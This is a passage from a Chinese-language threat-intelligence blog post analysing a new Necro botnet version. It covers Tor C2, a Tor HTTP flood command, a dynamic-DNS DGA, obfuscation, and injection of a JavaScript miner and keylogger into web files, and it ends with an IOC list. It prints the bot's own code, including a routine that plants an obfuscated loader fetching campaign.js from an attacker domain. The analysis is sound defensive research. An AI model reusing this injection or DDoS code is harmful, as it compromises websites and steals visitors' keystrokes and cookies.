使用Tor通信\n\n因为在[Gafgyt_tor](__GHOST_URL__/tor-bld/)中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。\n\nTor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。\n\n   ```python\n   try:\n       import socks\n   except:\n       f=open('socks.py', \"w\")\n       f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())\n       f.close()\n       try:\n           import socks\n       except:\n           exit(1)\n       try:\n           os.remove('socks.py')\n           os.remove('socks.pyc')\n       except:\n           pass\n   server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']\n   ...\n   self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'\n   self.AJEwioE='#freakyonionz'\n   self.Ajiowfe='FUCKWHITEHATZ'\n   ...\n   \n   ```\n\n   \n\n新加入的DDoS攻击方法 `torflood`的代码如下：\n\n   ```python\n               elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'torflood':\n                   try:\n                       import socks\n                   except:\n                      ...\n                           self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\\n' % (MZqyBxdoS))\n                   for i in range(0, int(CjoRjhoMj[7])):\n                       threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()\n                   self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))\n   \n   ```\n### 子域名DGA+动态域名\n\n新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。\n\n```python\nzMuBHdcdB=0\nwhile zMuBHdcdB < 0xcc:\n    zMuBHdcdB+=1\n    random.seed(a=0x7774DEAD + zMuBHdcdB)\n    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()\n    RaRdhjkniVY+=\".\"+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])\n    print RaRdhjkniVY\n```\n\n我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：\n\n```\n2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   \n2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      \n2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     \n2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   \n2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   \n2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   \n2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        \n2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       \n2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net \n```\n\n### JS挂马\n\nNecro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。\n\n```\n            elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'injectcount':\n                self.commSock.send('PRIVMSG %s :I have injected into %s files total\\n' % (MZqyBxdoS, self.AkvElneS))\n            elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'reinject':\n                threading.Thread(target=self.OLkEqimhli).start()\n                self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\\n' % (MZqyBxdoS))\n```\n\nNecro会先遍历被感染设备指定目录的`'*.js', '*.html', '*.htm', '*.php'`文件，寻找注入目标：\n\n```\nif os.name != \"nt\":\n            self.AkvElneS=0\n            for fkEoBpoAxpZc in [ele for ele in os.listdir(\"/\") if ele not in ['proc', \"bin\", 'sbin', 'sbin', \"dev\", \"lib\", 'lib64', 'lost+found', \"sys\", 'boot', \"etc\"]]:\n                for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:\n                    for oGADwYHVg in os.popen(\"find \\\"/\" + fkEoBpoAxpZc + \"\\\" -type f -name \\\"\" + hfHpWZSupopK + \"\\\"\").read().split(\"\\n\"):\n                        oGADwYHVg = oGADwYHVg.replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n                        if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and \"npm\" not in oGADwYHVg and oGADwYHVg != \"\":\n                            self.chLYewdc(oGADwYHVg)\n```\n\n一旦找到目标，Necro就会向文件中插入一段代码：\n\n```\nMnPbIqasMz=open(oGADwYHVg,\"rb\")\n            mkkzygnopRnB=MnPbIqasMz.read()\n            MnPbIqasMz.close()\n            fPSqTAZGgcep = kdYaxMPRdP(8)\n            OGipqKBSmmTb = kdYaxMPRdP(8)\n            hgOlaeQcQza = b64encode(\"//\" + self.injectCOxhTEJfB + '/campaign.js')\n            fwEiSidxlgH='(function(' + OGipqKBSmmTb + \", \" + fPSqTAZGgcep + \") {\" + fPSqTAZGgcep + \" = \" + OGipqKBSmmTb + \".createElement('script');\" + fPSqTAZGgcep + \".type = 'text/javascript';\" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + \".src = atob('\" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + \"'.replace(/\" + IoMfNcaVcJL + \"/gi, '')) + '?' + String(Math.random()).replace('0.','');\" + OGipqKBSmmTb + \".getElementsByTagName('body')[0].appendChild(\" + fPSqTAZGgcep + ');}(document));'\n           ...\n            else:\n                if oGADwYHVg.endswith(\".js\"):\n                    if 'var ' in mkkzygnopRnB:\n                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)\n                        self.AkvElneS+=1\n                        wQARXUaaF = True\n                else:\n                    if '</body' in mkkzygnopRnB:\n                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '\"' + 'text/javascript' + '\"' + \">\" + fwEiSidxlgH + '</script></body', 1)\n                        self.AkvElneS+=1\n                        wQARXUaaF = True\n            if wQARXUaaF:\n                MnPbIqasMz=open(oGADwYHVg, \"wb\")\n```\n\n被感染的页面会多出如下代码：\n\n```\n(function(v2, v1) {\n    v1 = v2.createElement('script');\n    v1.type = 'text/javascript';\n    v1.async = true;\n    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');\n    v2.getElementsByTagName('body')[0].appendChild(v1);\n}(document));\n```\n\n这一小段代码会链接到一个脚本 `hxxp[:]//ublock-referer.dev/campaign.js` 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。\n\n\n   "}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ttt-1.png"}],["markdown",{"markdown":"campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0："}],["image",{"src":"__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect.png"}],["markdown",{"markdown":"代码使用了两层混淆，解码后发现它同样源自一个开源项目[Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js)，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。\n\n修改后的Bot主要有三部分功能：\n* 挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：`hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2`\n* 用户信息窃取：代码会监控`unload/beforeunload/popstate/pagehide` 4个事件，然后通过如下两个接口上报数据\n\n| 对应接口 | 功能 |\n| :-----| :---- |\n| /l.php | 上报键盘记录 |\n| /f.php | 上报表单数据 |\n\n* 执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：\n\n| 指令 | 功能 | 接口 |\n| :-----| :---- | :----: |\n| cookie | 上报cookie信息 | /c.php |\n| clipboard | 上报剪切板信息 | /cb.php |\n| view | 会通过加载iframe来实时加载任意链接内容 |  |\n| post | 会向目标post指定内容 |  |\n| floodpost | 会向目标周期性post指定内容用以达到DDoS的效果 |  |\n| load | 会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果 |  |\n| antiddos | 会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗 |  |\n| layer4 | 会周期性向目标post指定长度范围的随机内容（DDoS） |  |\n| jack | 通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置 |  |\n| eval | 通过eval方法来执行任意代码 |  |\n| md5/sha1 | 通过指定的长度范围和码表来进行hash爆破，成功后上报 | /h.php  |\n||||\n\n    \n对应的C2还是`hxxp[:]//ublock-referer.dev/`，根据被攻陷的网站的协议做http/https兼容：\n\n```\nmaster = window[\"location\"][\"protocol\"] + \"//ublock-referer.dev\";\nAPIKey = \"callbackScript\";\n```\n\n网址`hxxps[:]//ublock-referer.dev`还用来下载恶意的FireFox插件`ublock_referer-1.0.0-an+fx.xpi`，插件使用的代码正是上述Javascript Bot [Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js)。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/malware_firefox_addone.PNG"}],["markdown",{"markdown":"### 代码混淆算法\n\n新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树[AST](https://docs.python.org/3/library/ast.html)的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。\n\n   ```\n   dDojPSRD=open(ULTiBINyz,\"rb\")\n        CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()\n        dDojPSRD.close()\n        p = ast.parse(CFiLMBZFoL)\n        MiaFfQWZhb().visit(p)\n        for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):\n           ...\n        EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n        joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})\n        for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:\n            aPpaAZnhc.append(mFVUeqoHs.name)\n        EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n        for ubhohFYJDo in EqDdlmuEhx:\n            for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:\n                if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:\n                    aPpaAZnhc.append(mFVUeqoHs.name)\n        ...\n        hkaxeZCocag=open(ULTiBINyz,\"wb\")\n   ```\n   \n## 小结\n\n从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。\n   \n## IOC\n\n* Tor C2\n\n```\nfaw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion\n```\n\n* Download URL\n```\nhttp://ntxkg0la99w.zapto.org/setup.py\nhttp://kek.gay/benchmark.py\nhttp://kek.gay/x86.dll\nhttp://kek.gay/x64.dll\nhttp://kek.gay/xmrig1.py\nhttp://kek.gay/xmrig1\nhttp://kek.gay/py.exe\n```\n\n* JS Miner/Bot 相关\n```\nhttps://cloud-miner.de/*\nhttps://ublock-referer.dev/*\n```\n\n* Tor Proxy\n```\n77.238.128.166:9050\n192.248.190.123:8017\n192.248.190.123:8009\n213.251.238.186:9050\n178.62.242.15:9107\n88.198.82.11:9051\n52.3.115.71:9050\n83.217.28.46:9050\n147.135.208.44:9095\n188.166.34.137:9000\n103.233.206.22:179\n161.97.71.22:9000\n54.161.239.214:9050\n194.5.178.150:666\n144.91.74.241:9080\n134.209.230.13:8080\n201.40.122.152:9050\n206.81.27.29:8080\n127.0.0.1:9050\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[1,"p",[]]],"ghostVersion":"3.0"}